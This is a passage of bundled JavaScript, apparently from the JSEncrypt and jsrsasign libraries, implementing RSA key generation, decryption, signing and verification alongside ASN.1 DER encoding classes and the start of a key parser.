this.dmp1 = oo(i, 16); | |
this.dmq1 = oo(o, 16); | |
this.coeff = oo(l, 16); | |
} else { | |
console.error("Invalid RSA private key"); | |
} | |
}; | |
e.prototype.generate = function (e, t) { | |
var n = new wo; | |
var r = e >> 1; | |
this.e = parseInt(t, 16); | |
for (var a = new eo(t, 16);;) { | |
while (this.p = new eo(e - r, 1, n), this.p.subtract(eo.ONE).gcd(a).compareTo(eo.ONE) != 0 || !this.p.isProbablePrime(10)) {} | |
while (this.q = new eo(r, 1, n), this.q.subtract(eo.ONE).gcd(a).compareTo(eo.ONE) != 0 || !this.q.isProbablePrime(10)) {} | |
if (this.p.compareTo(this.q) <= 0) { | |
var i = this.p; | |
this.p = this.q; | |
this.q = i; | |
} | |
var o = this.p.subtract(eo.ONE); | |
var l = this.q.subtract(eo.ONE); | |
var s = o.multiply(l); | |
if (s.gcd(a).compareTo(eo.ONE) == 0) { | |
this.n = this.p.multiply(this.q); | |
this.d = a.modInverse(s); | |
this.dmp1 = this.d.mod(o); | |
this.dmq1 = this.d.mod(l); | |
this.coeff = this.q.modInverse(this.p); | |
break; | |
} | |
} | |
}; | |
e.prototype.decrypt = function (e) { | |
var t = oo(e, 16); | |
var n = this.doPrivate(t); | |
if (n == null) { | |
return null; | |
} else { | |
return function (e, t) { | |
var n = e.toByteArray(); | |
var r = 0; | |
while (r < n.length && n[r] == 0) { | |
++r; | |
} | |
if (n.length - r != t - 1 || n[r] != 2) { | |
return null; | |
} | |
++r; | |
while (n[r] != 0) { | |
if (++r >= n.length) { | |
return null; | |
} | |
} | |
var a = ""; | |
while (++r < n.length) { | |
var i = 255 & n[r]; | |
if (i < 128) { | |
a += String.fromCharCode(i); | |
} else if (i > 191 && i < 224) { | |
a += String.fromCharCode((31 & i) << 6 | 63 & n[r + 1]); | |
++r; | |
} else { | |
a += String.fromCharCode((15 & i) << 12 | (63 & n[r + 1]) << 6 | 63 & n[r + 2]); | |
r += 2; | |
} | |
} | |
return a; | |
}(n, this.n.bitLength() + 7 >> 3); | |
} | |
}; | |
e.prototype.generateAsync = function (e, t, n) { | |
var r = new wo; | |
var a = e >> 1; | |
this.e = parseInt(t, 16); | |
var i = new eo(t, 16); | |
var o = this; | |
setTimeout(function t() { | |
var l = function () { | |
if (o.p.compareTo(o.q) <= 0) { | |
var e = o.p; | |
o.p = o.q; | |
o.q = e; | |
} | |
var r = o.p.subtract(eo.ONE); | |
var a = o.q.subtract(eo.ONE); | |
var l = r.multiply(a); | |
if (l.gcd(i).compareTo(eo.ONE) == 0) { | |
o.n = o.p.multiply(o.q); | |
o.d = i.modInverse(l); | |
o.dmp1 = o.d.mod(r); | |
o.dmq1 = o.d.mod(a); | |
o.coeff = o.q.modInverse(o.p); | |
setTimeout(function () { | |
n(); | |
}, 0); | |
} else { | |
setTimeout(t, 0); | |
} | |
}; | |
var s = function e() { | |
o.q = io(); | |
o.q.fromNumberAsync(a, 1, r, function () { | |
o.q.subtract(eo.ONE).gcda(i, function (t) { | |
if (t.compareTo(eo.ONE) == 0 && o.q.isProbablePrime(10)) { | |
setTimeout(l, 0); | |
} else { | |
setTimeout(e, 0); | |
} | |
}); | |
}); | |
}; | |
setTimeout(function t() { | |
o.p = io(); | |
o.p.fromNumberAsync(e - a, 1, r, function () { | |
o.p.subtract(eo.ONE).gcda(i, function (e) { | |
if (e.compareTo(eo.ONE) == 0 && o.p.isProbablePrime(10)) { | |
setTimeout(s, 0); | |
} else { | |
setTimeout(t, 0); | |
} | |
}); | |
}); | |
}, 0); | |
}, 0); | |
}; | |
e.prototype.sign = function (e, t, n) { | |
var r = function (e, t) { | |
if (t < e.length + 22) { | |
console.error("Message too long for RSA"); | |
return null; | |
} | |
var n = t - e.length - 6; | |
var r = ""; | |
for (var a = 0; a < n; a += 2) { | |
r += "ff"; | |
} | |
return oo("0001" + r + "00" + e, 16); | |
}((Ao[n] || "") + t(e).toString(), this.n.bitLength() / 4); | |
if (r == null) { | |
return null; | |
} | |
var a = this.doPrivate(r); | |
if (a == null) { | |
return null; | |
} | |
var i = a.toString(16); | |
if ((1 & i.length) == 0) { | |
return i; | |
} else { | |
return "0" + i; | |
} | |
}; | |
e.prototype.verify = function (e, t, n) { | |
var r = oo(t, 16); | |
var a = this.doPublic(r); | |
if (a == null) { | |
return null; | |
} | |
var i = function () { | |
var e = a.toString(16).replace(/^1f+00/, ""); | |
for (var t in Ao) { | |
if (Ao.hasOwnProperty(t)) { | |
var n = Ao[t]; | |
var r = n.length; | |
if (e.substr(0, r) == n) { | |
return e.substr(r); | |
} | |
} | |
} | |
return e; | |
}(); | |
return i == n(e).toString(); | |
}; | |
return e; | |
}(); | |
var Ao = {md2: "3020300c06082a864886f70d020205000410", md5: "3020300c06082a864886f70d020505000410", sha1: "3021300906052b0e03021a05000414", sha224: "302d300d06096086480165030402040500041c", sha256: "3031300d060960864801650304020105000420", sha384: "3041300d060960864801650304020205000430", sha512: "3051300d060960864801650304020305000440", ripemd160: "3021300906052b2403020105000414"}; | |
var jo = {}; | |
jo.lang = {extend: function (e, t, n) { | |
if (!t || !e) { | |
throw new Error("YAHOO.lang.extend failed, please check that all dependencies are included."); | |
} | |
var r = function () {}; | |
r.prototype = t.prototype; | |
e.prototype = new r; | |
e.prototype.constructor = e; | |
e.superclass = t.prototype; | |
if (t.prototype.constructor == Object.prototype.constructor) { | |
t.prototype.constructor = t; | |
} | |
if (n) { | |
var a; | |
for (a in n) { | |
e.prototype[a] = n[a]; | |
} | |
var i = function () {}; | |
var o = ["toString", "valueOf"]; | |
try { | |
if (/MSIE/.test(navigator.userAgent)) { | |
i = function (e, t) { | |
for (a = 0; a < o.length; a += 1) { | |
var n = o[a]; | |
var r = t[n]; | |
if (typeof r === "function" && r != Object.prototype[n]) { | |
e[n] = r; | |
} | |
} | |
}; | |
} | |
} catch (l) {} | |
i(e.prototype, n); | |
} | |
}}; | |
var _o = {}; | |
if (typeof _o.asn1 == "undefined" || !_o.asn1) { | |
_o.asn1 = {}; | |
} | |
_o.asn1.ASN1Util = new function () { | |
this.integerToByteHex = function (e) { | |
var t = e.toString(16); | |
if (t.length % 2 == 1) { | |
t = "0" + t; | |
} | |
return t; | |
}; | |
this.bigIntToMinTwosComplementsHex = function (e) { | |
var t = e.toString(16); | |
if (t.substr(0, 1) == "-") { | |
var n = t.substr(1).length; | |
if (n % 2 == 1) { | |
n += 1; | |
} else if (!t.match(/^[0-7]/)) { | |
n += 2; | |
} | |
var r = ""; | |
for (var a = 0; a < n; a++) { | |
r += "f"; | |
} | |
t = new eo(r, 16).xor(e).add(eo.ONE).toString(16).replace(/^-/, ""); | |
} else if (t.length % 2 == 1) { | |
t = "0" + t; | |
} else if (!t.match(/^[0-7]/)) { | |
t = "00" + t; | |
} | |
return t; | |
}; | |
this.getPEMStringFromHex = function (e, t) { | |
return hextopem(e, t); | |
}; | |
this.newObject = function (e) { | |
var t = _o.asn1; | |
var n = t.DERBoolean; | |
var r = t.DERInteger; | |
var a = t.DERBitString; | |
var i = t.DEROctetString; | |
var o = t.DERNull; | |
var l = t.DERObjectIdentifier; | |
var s = t.DEREnumerated; | |
var B = t.DERUTF8String; | |
var u = t.DERNumericString; | |
var c = t.DERPrintableString; | |
var d = t.DERTeletexString; | |
var p = t.DERIA5String; | |
var f = t.DERUTCTime; | |
var C = t.DERGeneralizedTime; | |
var h = t.DERSequence; | |
var m = t.DERSet; | |
var v = t.DERTaggedObject; | |
var g = t.ASN1Util.newObject; | |
var b = Object.keys(e); | |
if (b.length != 1) { | |
throw "key of param shall be only one."; | |
} | |
var y = b[0]; | |
if (":bool:int:bitstr:octstr:null:oid:enum:utf8str:numstr:prnstr:telstr:ia5str:utctime:gentime:seq:set:tag:".indexOf(":" + y + ":") == -1) { | |
throw "undefined key: " + y; | |
} | |
if (y == "bool") { | |
return new n(e[y]); | |
} | |
if (y == "int") { | |
return new r(e[y]); | |
} | |
if (y == "bitstr") { | |
return new a(e[y]); | |
} | |
if (y == "octstr") { | |
return new i(e[y]); | |
} | |
if (y == "null") { | |
return new o(e[y]); | |
} | |
if (y == "oid") { | |
return new l(e[y]); | |
} | |
if (y == "enum") { | |
return new s(e[y]); | |
} | |
if (y == "utf8str") { | |
return new B(e[y]); | |
} | |
if (y == "numstr") { | |
return new u(e[y]); | |
} | |
if (y == "prnstr") { | |
return new c(e[y]); | |
} | |
if (y == "telstr") { | |
return new d(e[y]); | |
} | |
if (y == "ia5str") { | |
return new p(e[y]); | |
} | |
if (y == "utctime") { | |
return new f(e[y]); | |
} | |
if (y == "gentime") { | |
return new C(e[y]); | |
} | |
if (y == "seq") { | |
var x = e[y]; | |
var D = []; | |
for (var w = 0; w < x.length; w++) { | |
var k = g(x[w]); | |
D.push(k); | |
} | |
return new h({array: D}); | |
} | |
if (y == "set") { | |
x = e[y]; | |
D = []; | |
for (w = 0; w < x.length; w++) { | |
k = g(x[w]); | |
D.push(k); | |
} | |
return new m({array: D}); | |
} | |
if (y == "tag") { | |
var A = e[y]; | |
if (Object.prototype.toString.call(A) === "[object Array]" && A.length == 3) { | |
var j = g(A[2]); | |
return new v({tag: A[0], explicit: A[1], obj: j}); | |
} | |
var _ = {}; | |
if (A.explicit !== void 0) { | |
_.explicit = A.explicit; | |
} | |
if (A.tag !== void 0) { | |
_.tag = A.tag; | |
} | |
if (A.obj === void 0) { | |
throw "obj shall be specified for 'tag'."; | |
} | |
_.obj = g(A.obj); | |
return new v(_); | |
} | |
}; | |
this.jsonToASN1HEX = function (e) { | |
return this.newObject(e).getEncodedHex(); | |
}; | |
}; | |
_o.asn1.ASN1Util.oidHexToInt = function (e) { | |
var t = ""; | |
var n = parseInt(e.substr(0, 2), 16); | |
t = Math.floor(n / 40) + "." + n % 40; | |
var r = ""; | |
for (var a = 2; a < e.length; a += 2) { | |
var i = ("00000000" + parseInt(e.substr(a, 2), 16).toString(2)).slice(-8); | |
r += i.substr(1, 7); | |
if (i.substr(0, 1) == "0") { | |
t = t + "." + new eo(r, 2).toString(10); | |
r = ""; | |
} | |
} | |
return t; | |
}; | |
_o.asn1.ASN1Util.oidIntToHex = function (e) { | |
var t = function (e) { | |
var t = e.toString(16); | |
if (t.length == 1) { | |
t = "0" + t; | |
} | |
return t; | |
}; | |
var n = function (e) { | |
var n = ""; | |
var r = new eo(e, 10).toString(2); | |
var a = 7 - r.length % 7; | |
if (a == 7) { | |
a = 0; | |
} | |
var i = ""; | |
for (var o = 0; o < a; o++) { | |
i += "0"; | |
} | |
r = i + r; | |
for (o = 0; o < r.length - 1; o += 7) { | |
var l = r.substr(o, 7); | |
if (o != r.length - 7) { | |
l = "1" + l; | |
} | |
n += t(parseInt(l, 2)); | |
} | |
return n; | |
}; | |
if (!e.match(/^[0-9.]+$/)) { | |
throw "malformed oid string: " + e; | |
} | |
var r = ""; | |
var a = e.split("."); | |
var i = 40 * parseInt(a[0]) + parseInt(a[1]); | |
r += t(i); | |
a.splice(0, 2); | |
for (var o = 0; o < a.length; o++) { | |
r += n(a[o]); | |
} | |
return r; | |
}; | |
_o.asn1.ASN1Object = function () { | |
this.getLengthHexFromValue = function () { | |
if (typeof this.hV == "undefined" || this.hV == null) { | |
throw "this.hV is null or undefined."; | |
} | |
if (this.hV.length % 2 == 1) { | |
throw "value hex must be even length: n=" + "".length + ",v=" + this.hV; | |
} | |
var e = this.hV.length / 2; | |
var t = e.toString(16); | |
if (t.length % 2 == 1) { | |
t = "0" + t; | |
} | |
if (e < 128) { | |
return t; | |
} | |
var n = t.length / 2; | |
if (n > 15) { | |
throw "ASN.1 length too long to represent by 8x: n = " + e.toString(16); | |
} | |
return (128 + n).toString(16) + t; | |
}; | |
this.getEncodedHex = function () { | |
if (this.hTLV == null || this.isModified) { | |
this.hV = this.getFreshValueHex(); | |
this.hL = this.getLengthHexFromValue(); | |
this.hTLV = this.hT + this.hL + this.hV; | |
this.isModified = false; | |
} | |
return this.hTLV; | |
}; | |
this.getValueHex = function () { | |
this.getEncodedHex(); | |
return this.hV; | |
}; | |
this.getFreshValueHex = function () { | |
return ""; | |
}; | |
}; | |
_o.asn1.DERAbstractString = function (e) { | |
_o.asn1.DERAbstractString.superclass.constructor.call(this); | |
this.getString = function () { | |
return this.s; | |
}; | |
this.setString = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.s = e; | |
this.hV = stohex(this.s); | |
}; | |
this.setStringHex = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.s = null; | |
this.hV = e; | |
}; | |
this.getFreshValueHex = function () { | |
return this.hV; | |
}; | |
if (typeof e != "undefined") { | |
if (typeof e == "string") { | |
this.setString(e); | |
} else if (typeof e.str == "undefined") { | |
if (typeof e.hex != "undefined") { | |
this.setStringHex(e.hex); | |
} | |
} else { | |
this.setString(e.str); | |
} | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERAbstractString, _o.asn1.ASN1Object); | |
_o.asn1.DERAbstractTime = function (e) { | |
_o.asn1.DERAbstractTime.superclass.constructor.call(this); | |
this.localDateToUTC = function (e) { | |
utc = e.getTime() + 6e4 * e.getTimezoneOffset(); | |
return new Date(utc); | |
}; | |
this.formatDate = function (e, t, n) { | |
var r = this.zeroPadding; | |
var a = this.localDateToUTC(e); | |
var i = String(a.getFullYear()); | |
if (t == "utc") { | |
i = i.substr(2, 2); | |
} | |
var o = i + r(String(a.getMonth() + 1), 2) + r(String(a.getDate()), 2) + r(String(a.getHours()), 2) + r(String(a.getMinutes()), 2) + r(String(a.getSeconds()), 2); | |
if (n === true) { | |
var l = a.getMilliseconds(); | |
if (l != 0) { | |
var s = r(String(l), 3); | |
o = o + "." + (s = s.replace(/[0]+$/, "")); | |
} | |
} | |
return o + "Z"; | |
}; | |
this.zeroPadding = function (e, t) { | |
if (e.length >= t) { | |
return e; | |
} else { | |
return new Array(t - e.length + 1).join("0") + e; | |
} | |
}; | |
this.getString = function () { | |
return this.s; | |
}; | |
this.setString = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.s = e; | |
this.hV = stohex(e); | |
}; | |
this.setByDateValue = function (e, t, n, r, a, i) { | |
var o = new Date(Date.UTC(e, t - 1, n, r, a, i, 0)); | |
this.setByDate(o); | |
}; | |
this.getFreshValueHex = function () { | |
return this.hV; | |
}; | |
}; | |
jo.lang.extend(_o.asn1.DERAbstractTime, _o.asn1.ASN1Object); | |
_o.asn1.DERAbstractStructured = function (e) { | |
_o.asn1.DERAbstractString.superclass.constructor.call(this); | |
this.setByASN1ObjectArray = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.asn1Array = e; | |
}; | |
this.appendASN1Object = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.asn1Array.push(e); | |
}; | |
this.asn1Array = new Array; | |
if (typeof e != "undefined" && typeof e.array != "undefined") { | |
this.asn1Array = e.array; | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERAbstractStructured, _o.asn1.ASN1Object); | |
_o.asn1.DERBoolean = function () { | |
_o.asn1.DERBoolean.superclass.constructor.call(this); | |
this.hT = "01"; | |
this.hTLV = "0101ff"; | |
}; | |
jo.lang.extend(_o.asn1.DERBoolean, _o.asn1.ASN1Object); | |
_o.asn1.DERInteger = function (e) { | |
_o.asn1.DERInteger.superclass.constructor.call(this); | |
this.hT = "02"; | |
this.setByBigInteger = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.hV = _o.asn1.ASN1Util.bigIntToMinTwosComplementsHex(e); | |
}; | |
this.setByInteger = function (e) { | |
var t = new eo(String(e), 10); | |
this.setByBigInteger(t); | |
}; | |
this.setValueHex = function (e) { | |
this.hV = e; | |
}; | |
this.getFreshValueHex = function () { | |
return this.hV; | |
}; | |
if (typeof e != "undefined") { | |
if (typeof e.bigint == "undefined") { | |
if (typeof e.int == "undefined") { | |
if (typeof e == "number") { | |
this.setByInteger(e); | |
} else if (typeof e.hex != "undefined") { | |
this.setValueHex(e.hex); | |
} | |
} else { | |
this.setByInteger(e.int); | |
} | |
} else { | |
this.setByBigInteger(e.bigint); | |
} | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERInteger, _o.asn1.ASN1Object); | |
_o.asn1.DERBitString = function (e) { | |
if (e !== void 0 && typeof e.obj !== "undefined") { | |
var t = _o.asn1.ASN1Util.newObject(e.obj); | |
e.hex = "00" + t.getEncodedHex(); | |
} | |
_o.asn1.DERBitString.superclass.constructor.call(this); | |
this.hT = "03"; | |
this.setHexValueIncludingUnusedBits = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.hV = e; | |
}; | |
this.setUnusedBitsAndHexValue = function (e, t) { | |
if (e < 0 || 7 < e) { | |
throw "unused bits shall be from 0 to 7: u = " + e; | |
} | |
var n = "0" + e; | |
this.hTLV = null; | |
this.isModified = true; | |
this.hV = n + t; | |
}; | |
this.setByBinaryString = function (e) { | |
var t = 8 - (e = e.replace(/0+$/, "")).length % 8; | |
if (t == 8) { | |
t = 0; | |
} | |
for (var n = 0; n <= t; n++) { | |
e += "0"; | |
} | |
var r = ""; | |
for (n = 0; n < e.length - 1; n += 8) { | |
var a = e.substr(n, 8); | |
var i = parseInt(a, 2).toString(16); | |
if (i.length == 1) { | |
i = "0" + i; | |
} | |
r += i; | |
} | |
this.hTLV = null; | |
this.isModified = true; | |
this.hV = "0" + t + r; | |
}; | |
this.setByBooleanArray = function (e) { | |
var t = ""; | |
for (var n = 0; n < e.length; n++) { | |
if (e[n] == 1) { | |
t += "1"; | |
} else { | |
t += "0"; | |
} | |
} | |
this.setByBinaryString(t); | |
}; | |
this.newFalseArray = function (e) { | |
var t = new Array(e); | |
for (var n = 0; n < e; n++) { | |
t[n] = false; | |
} | |
return t; | |
}; | |
this.getFreshValueHex = function () { | |
return this.hV; | |
}; | |
if (typeof e != "undefined") { | |
if (typeof e == "string" && e.toLowerCase().match(/^[0-9a-f]+$/)) { | |
this.setHexValueIncludingUnusedBits(e); | |
} else if (typeof e.hex == "undefined") { | |
if (typeof e.bin == "undefined") { | |
if (typeof e.array != "undefined") { | |
this.setByBooleanArray(e.array); | |
} | |
} else { | |
this.setByBinaryString(e.bin); | |
} | |
} else { | |
this.setHexValueIncludingUnusedBits(e.hex); | |
} | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERBitString, _o.asn1.ASN1Object); | |
_o.asn1.DEROctetString = function (e) { | |
if (e !== void 0 && typeof e.obj !== "undefined") { | |
var t = _o.asn1.ASN1Util.newObject(e.obj); | |
e.hex = t.getEncodedHex(); | |
} | |
_o.asn1.DEROctetString.superclass.constructor.call(this, e); | |
this.hT = "04"; | |
}; | |
jo.lang.extend(_o.asn1.DEROctetString, _o.asn1.DERAbstractString); | |
_o.asn1.DERNull = function () { | |
_o.asn1.DERNull.superclass.constructor.call(this); | |
this.hT = "05"; | |
this.hTLV = "0500"; | |
}; | |
jo.lang.extend(_o.asn1.DERNull, _o.asn1.ASN1Object); | |
_o.asn1.DERObjectIdentifier = function (e) { | |
var t = function (e) { | |
var t = e.toString(16); | |
if (t.length == 1) { | |
t = "0" + t; | |
} | |
return t; | |
}; | |
var n = function (e) { | |
var n = ""; | |
var r = new eo(e, 10).toString(2); | |
var a = 7 - r.length % 7; | |
if (a == 7) { | |
a = 0; | |
} | |
var i = ""; | |
for (var o = 0; o < a; o++) { | |
i += "0"; | |
} | |
r = i + r; | |
for (o = 0; o < r.length - 1; o += 7) { | |
var l = r.substr(o, 7); | |
if (o != r.length - 7) { | |
l = "1" + l; | |
} | |
n += t(parseInt(l, 2)); | |
} | |
return n; | |
}; | |
_o.asn1.DERObjectIdentifier.superclass.constructor.call(this); | |
this.hT = "06"; | |
this.setValueHex = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.s = null; | |
this.hV = e; | |
}; | |
this.setValueOidString = function (e) { | |
if (!e.match(/^[0-9.]+$/)) { | |
throw "malformed oid string: " + e; | |
} | |
var r = ""; | |
var a = e.split("."); | |
var i = 40 * parseInt(a[0]) + parseInt(a[1]); | |
r += t(i); | |
a.splice(0, 2); | |
for (var o = 0; o < a.length; o++) { | |
r += n(a[o]); | |
} | |
this.hTLV = null; | |
this.isModified = true; | |
this.s = null; | |
this.hV = r; | |
}; | |
this.setValueName = function (e) { | |
var t = _o.asn1.x509.OID.name2oid(e); | |
if (t === "") { | |
throw "DERObjectIdentifier oidName undefined: " + e; | |
} | |
this.setValueOidString(t); | |
}; | |
this.getFreshValueHex = function () { | |
return this.hV; | |
}; | |
if (e !== void 0) { | |
if (typeof e === "string") { | |
if (e.match(/^[0-2].[0-9.]+$/)) { | |
this.setValueOidString(e); | |
} else { | |
this.setValueName(e); | |
} | |
} else if (e.oid === void 0) { | |
if (e.hex === void 0) { | |
if (e.name !== void 0) { | |
this.setValueName(e.name); | |
} | |
} else { | |
this.setValueHex(e.hex); | |
} | |
} else { | |
this.setValueOidString(e.oid); | |
} | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERObjectIdentifier, _o.asn1.ASN1Object); | |
_o.asn1.DEREnumerated = function (e) { | |
_o.asn1.DEREnumerated.superclass.constructor.call(this); | |
this.hT = "0a"; | |
this.setByBigInteger = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.hV = _o.asn1.ASN1Util.bigIntToMinTwosComplementsHex(e); | |
}; | |
this.setByInteger = function (e) { | |
var t = new eo(String(e), 10); | |
this.setByBigInteger(t); | |
}; | |
this.setValueHex = function (e) { | |
this.hV = e; | |
}; | |
this.getFreshValueHex = function () { | |
return this.hV; | |
}; | |
if (typeof e != "undefined") { | |
if (typeof e.int == "undefined") { | |
if (typeof e == "number") { | |
this.setByInteger(e); | |
} else if (typeof e.hex != "undefined") { | |
this.setValueHex(e.hex); | |
} | |
} else { | |
this.setByInteger(e.int); | |
} | |
} | |
}; | |
jo.lang.extend(_o.asn1.DEREnumerated, _o.asn1.ASN1Object); | |
_o.asn1.DERUTF8String = function (e) { | |
_o.asn1.DERUTF8String.superclass.constructor.call(this, e); | |
this.hT = "0c"; | |
}; | |
jo.lang.extend(_o.asn1.DERUTF8String, _o.asn1.DERAbstractString); | |
_o.asn1.DERNumericString = function (e) { | |
_o.asn1.DERNumericString.superclass.constructor.call(this, e); | |
this.hT = "12"; | |
}; | |
jo.lang.extend(_o.asn1.DERNumericString, _o.asn1.DERAbstractString); | |
_o.asn1.DERPrintableString = function (e) { | |
_o.asn1.DERPrintableString.superclass.constructor.call(this, e); | |
this.hT = "13"; | |
}; | |
jo.lang.extend(_o.asn1.DERPrintableString, _o.asn1.DERAbstractString); | |
_o.asn1.DERTeletexString = function (e) { | |
_o.asn1.DERTeletexString.superclass.constructor.call(this, e); | |
this.hT = "14"; | |
}; | |
jo.lang.extend(_o.asn1.DERTeletexString, _o.asn1.DERAbstractString); | |
_o.asn1.DERIA5String = function (e) { | |
_o.asn1.DERIA5String.superclass.constructor.call(this, e); | |
this.hT = "16"; | |
}; | |
jo.lang.extend(_o.asn1.DERIA5String, _o.asn1.DERAbstractString); | |
_o.asn1.DERUTCTime = function (e) { | |
_o.asn1.DERUTCTime.superclass.constructor.call(this, e); | |
this.hT = "17"; | |
this.setByDate = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.date = e; | |
this.s = this.formatDate(this.date, "utc"); | |
this.hV = stohex(this.s); | |
}; | |
this.getFreshValueHex = function () { | |
if (typeof this.date == "undefined" && typeof this.s == "undefined") { | |
this.date = new Date; | |
this.s = this.formatDate(this.date, "utc"); | |
this.hV = stohex(this.s); | |
} | |
return this.hV; | |
}; | |
if (e !== void 0) { | |
if (e.str === void 0) { | |
if (typeof e == "string" && e.match(/^[0-9]{12}Z$/)) { | |
this.setString(e); | |
} else if (e.hex === void 0) { | |
if (e.date !== void 0) { | |
this.setByDate(e.date); | |
} | |
} else { | |
this.setStringHex(e.hex); | |
} | |
} else { | |
this.setString(e.str); | |
} | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERUTCTime, _o.asn1.DERAbstractTime); | |
_o.asn1.DERGeneralizedTime = function (e) { | |
_o.asn1.DERGeneralizedTime.superclass.constructor.call(this, e); | |
this.hT = "18"; | |
this.withMillis = false; | |
this.setByDate = function (e) { | |
this.hTLV = null; | |
this.isModified = true; | |
this.date = e; | |
this.s = this.formatDate(this.date, "gen", this.withMillis); | |
this.hV = stohex(this.s); | |
}; | |
this.getFreshValueHex = function () { | |
if (this.date === void 0 && this.s === void 0) { | |
this.date = new Date; | |
this.s = this.formatDate(this.date, "gen", this.withMillis); | |
this.hV = stohex(this.s); | |
} | |
return this.hV; | |
}; | |
if (e !== void 0) { | |
if (e.str === void 0) { | |
if (typeof e == "string" && e.match(/^[0-9]{14}Z$/)) { | |
this.setString(e); | |
} else if (e.hex === void 0) { | |
if (e.date !== void 0) { | |
this.setByDate(e.date); | |
} | |
} else { | |
this.setStringHex(e.hex); | |
} | |
} else { | |
this.setString(e.str); | |
} | |
if (e.millis === true) { | |
this.withMillis = true; | |
} | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERGeneralizedTime, _o.asn1.DERAbstractTime); | |
_o.asn1.DERSequence = function (e) { | |
_o.asn1.DERSequence.superclass.constructor.call(this, e); | |
this.hT = "30"; | |
this.getFreshValueHex = function () { | |
var e = ""; | |
for (var t = 0; t < this.asn1Array.length; t++) { | |
e += this.asn1Array[t].getEncodedHex(); | |
} | |
this.hV = e; | |
return this.hV; | |
}; | |
}; | |
jo.lang.extend(_o.asn1.DERSequence, _o.asn1.DERAbstractStructured); | |
_o.asn1.DERSet = function (e) { | |
_o.asn1.DERSet.superclass.constructor.call(this, e); | |
this.hT = "31"; | |
this.sortFlag = true; | |
this.getFreshValueHex = function () { | |
var e = new Array; | |
for (var t = 0; t < this.asn1Array.length; t++) { | |
var n = this.asn1Array[t]; | |
e.push(n.getEncodedHex()); | |
} | |
if (this.sortFlag == 1) { | |
e.sort(); | |
} | |
this.hV = e.join(""); | |
return this.hV; | |
}; | |
if (typeof e != "undefined" && typeof e.sortflag != "undefined" && e.sortflag == 0) { | |
this.sortFlag = false; | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERSet, _o.asn1.DERAbstractStructured); | |
_o.asn1.DERTaggedObject = function (e) { | |
_o.asn1.DERTaggedObject.superclass.constructor.call(this); | |
this.hT = "a0"; | |
this.hV = ""; | |
this.isExplicit = true; | |
this.asn1Object = null; | |
this.setASN1Object = function (e, t, n) { | |
this.hT = t; | |
this.isExplicit = e; | |
this.asn1Object = n; | |
if (this.isExplicit) { | |
this.hV = this.asn1Object.getEncodedHex(); | |
this.hTLV = null; | |
this.isModified = true; | |
} else { | |
this.hV = null; | |
this.hTLV = n.getEncodedHex(); | |
this.hTLV = this.hTLV.replace(/^../, t); | |
this.isModified = false; | |
} | |
}; | |
this.getFreshValueHex = function () { | |
return this.hV; | |
}; | |
if (typeof e != "undefined") { | |
if (typeof e.tag != "undefined") { | |
this.hT = e.tag; | |
} | |
if (typeof e.explicit != "undefined") { | |
this.isExplicit = e.explicit; | |
} | |
if (typeof e.obj != "undefined") { | |
this.asn1Object = e.obj; | |
this.setASN1Object(this.isExplicit, this.hT, this.asn1Object); | |
} | |
} | |
}; | |
jo.lang.extend(_o.asn1.DERTaggedObject, _o.asn1.ASN1Object); | |
var So = function () { | |
var e = function (t, n) { | |
e = Object.setPrototypeOf || {__proto__: []} instanceof Array && function (e, t) { | |
e.__proto__ = t; | |
} || function (e, t) { | |
for (var n in t) { | |
if (Object.prototype.hasOwnProperty.call(t, n)) { | |
e[n] = t[n]; | |
} | |
} | |
}; | |
return e(t, n); | |
}; | |
return function (t, n) { | |
function r() { | |
this.constructor = t; | |
} | |
if (typeof n !== "function" && n !== null) { | |
throw new TypeError("Class extends value " + String(n) + " is not a constructor or null"); | |
} | |
e(t, n); | |
t.prototype = n === null ? Object.create(n) : (r.prototype = n.prototype, new r); | |
}; | |
}(); | |
var Po = function () { | |
function t(n) { | |
var r = e.call(this) || this; | |
if (n) { | |
if (typeof n === "string") { | |
r.parseKey(n); | |
} else if (t.hasPrivateKeyProperty(n) || t.hasPublicKeyProperty(n)) { | |
r.parsePropertiesFrom(n); | |
} | |
} | |
return r; | |
} | |
var e = ko; | |
So(t, e); | |
t.prototype.parseKey = function (e) { | |
try { | |
var t = 0; | |
var n = 0; | |
var r = /^\s*(?:[0-9A-Fa-f][0-9A-Fa-f]\s*)+$/.test(e) ? Ki(e) : Gi.unarmor(e); | |
var a = qi.decode(r); | |
if (a.sub.length === 3) { | |
a = a.sub[2].sub[0]; | |
} | |
if (a.sub.length === 9) { | |
t = a.sub[1].getHexStringValue(); | |
this.n = oo(t, 16); | |
n = a.sub[2].getHexStringValue(); | |
this.e = parseInt(n, 16); | |
var i = a.sub[3].getHexStringValue(); | |
this.d = oo(i, 16); | |
var o = a.sub[4].getHexStringValue(); | |
this.p = oo(o, 16); | |
var l = a.sub[5].getHexStringValue(); | |
this.q = oo(l, 16); | |
var s = a.sub[6].getHexStringValue(); | |
this.dmp1 = oo(s, 16); | |
var B = a.sub[7].getHexStringValue(); | |
this.dmq1 = oo(B, 16); | |
var u = a.sub[8].getHexStringValue(); | |
this.coeff = oo(u, 16); | |
} else { | |
if (a.sub.length !== 2) { | |
return false; | |
} | |
var c = a.sub[1].sub[0]; | |
t = c.sub[0].getHexStringValue(); | |
this.n = oo(t, 16); | |
n = c.sub[1].getHexStringValue(); | |
this.e = parseInt(n, 16); | |
} | |
return true; | |
} catch (d) { | |
return false; | |
} | |
}; | |
t.prototype.getPrivateBaseKey = function () { | |
